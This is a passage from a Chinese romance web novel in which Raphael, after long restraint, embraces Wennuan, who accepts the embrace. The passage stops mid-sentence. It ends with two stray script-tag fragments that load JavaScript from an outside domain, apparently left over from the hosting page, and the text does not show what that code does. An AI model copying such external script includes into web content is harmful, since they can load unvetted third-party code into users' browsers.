他想靠近她。
不是隔着桌子喝茶的那种靠近,不是并肩走在街上偶尔手臂碰到手臂的那种靠近,而是更近的、更亲密的、能感受到她体温和气息的那种靠近。
从苍翠之森的那个夜晚开始,他就一直在克制自己。她邀请他喝茶,他坐在她对面,隔着折叠桌,保持着礼貌的距离。她让他进帐篷休息,他睡在另一边的床铺上,中间隔着一张小桌。她带他回银泉镇,他住进客房,两人之间隔着一堵墙。她给他金币,他收下,道谢,没有更多的表示。
他一直在等。
等她主动靠近,等她给出一个信号,甚至等她说出那句他不知道在等什么的话。
但她没有。
她依旧安静地做着那些事——做饭、采药、泡茶、看书、逛街、买东西。她把他纳入她的计划中,给他买布料、买衣服、买毯子,对他好,却始终保持着一种恰到好处的距离。那种距离不远不近,像是隔着一层透明的薄膜——能看到彼此,能听到彼此,却摸不到。
于是他不想再等了。
既然她不主动,那就他主动。既然她不说,那他就做。
让自己住帐篷的是她,带自己回家的是她,给自己金币的是她,今天给自己买衣服的也是她。她做的每一件事都在告诉他——她不讨厌他,她接受他,她甚至可能——喜欢他。
那他还等什么?
拉斐尔伸出手,轻轻地、缓慢地,将温暖拉入怀中。
他的动作很轻,像是怕弄碎什么珍贵的东西。一只手落在她的腰侧,另一只手揽住她的肩背,将她拢进自己的怀抱。她没有挣扎,没有推拒,身体在最初的微微一僵之后,慢慢地、一点一点地放松了下来。
她的额头抵在他的锁骨处,黑色的长发蹭着他的下巴,带着柑橘和迷迭香的气息。她能听到他的心跳,沉稳而有力,透过薄薄的衣料传到她的耳中。他的体温比她高一些,像是怀里抱着一团温热的火,隔着衣服也能感受到那份暖意。
拉斐尔闭上眼,下巴轻轻抵在她的头顶。
他等了这么久,终于等到了这一刻。
不是隔着桌子的对坐,不是隔着床铺的并躺,不是隔着墙壁的相邻。而是真真切切的、没有距离的、肌肤相贴的拥抱。她的身体很轻,很软,像是一团被阳光晒透了的云,抱在怀里就不想松开。
温暖被拉斐尔抱在怀中,没有动。
她的脸埋在他的胸口,能闻到他身上
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">